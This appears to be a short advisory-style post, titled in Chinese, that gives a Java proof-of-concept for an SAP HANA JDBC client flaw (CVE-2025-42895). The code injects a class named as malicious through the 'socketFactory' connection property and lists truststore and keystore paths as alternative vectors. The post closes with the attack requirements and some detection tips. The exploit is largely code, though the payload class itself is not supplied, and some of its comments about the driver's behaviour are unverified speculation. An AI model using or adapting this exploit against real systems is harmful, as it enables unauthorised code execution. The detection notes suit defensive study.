SAP HANA JDBC Client连接参数验证不足导致未授权代码加载漏洞(CVE-2025-42895)

// CVE-2025-42895 PoC - SAP HANA JDBC Client Unauthorized Code Loading // This PoC demonstrates how crafted connection properties can lead to code loading import java.util.Properties; import java.sql.DriverManager; import java.sql.Connection; public class CVE_2025_42895_PoC { public static void main(String[] args) { try { // Load SAP HANA JDBC Driver Class.forName("com.sap.db.jdbc.Driver"); Properties props = new Properties(); props.setProperty("user", "SYSTEM"); props.setProperty("password", "YourPassword123"); // Crafted malicious connection properties // Attack vector: manipulating socketFactory property props.setProperty("socketFactory", "com.malicious.MaliciousSocketFactory"); // Alternative attack vectors // props.setProperty("sslTrustStore", "file:///path/to/malicious/truststore"); // props.setProperty("sslKeyStore", "file:///path/to/malicious/keystore"); // Attempt connection with crafted parameters String url = "jdbc:sap://target-hana-server:30015"; Connection conn = DriverManager.getConnection(url, props); System.out.println("[+] Connection established - Potential code execution via crafted property"); } catch (ClassNotFoundException e) { System.out.println("[-] SAP HANA JDBC Driver not found"); } catch (Exception e) { System.out.println("[-] Connection failed: " + e.getMessage()); // In real attack, the driver may attempt to load the specified class // even if connection fails, leading to code execution } } } /* Attack Requirements: 1. High-privilege local authenticated user access 2. Ability to modify JDBC connection parameters 3. Target system running vulnerable SAP HANA JDBC Client version Detection: - Monitor for unexpected class loading via JDBC driver - Log and audit JDBC connection properties - Monitor for suspicious socketFactory or SSL-related property usage */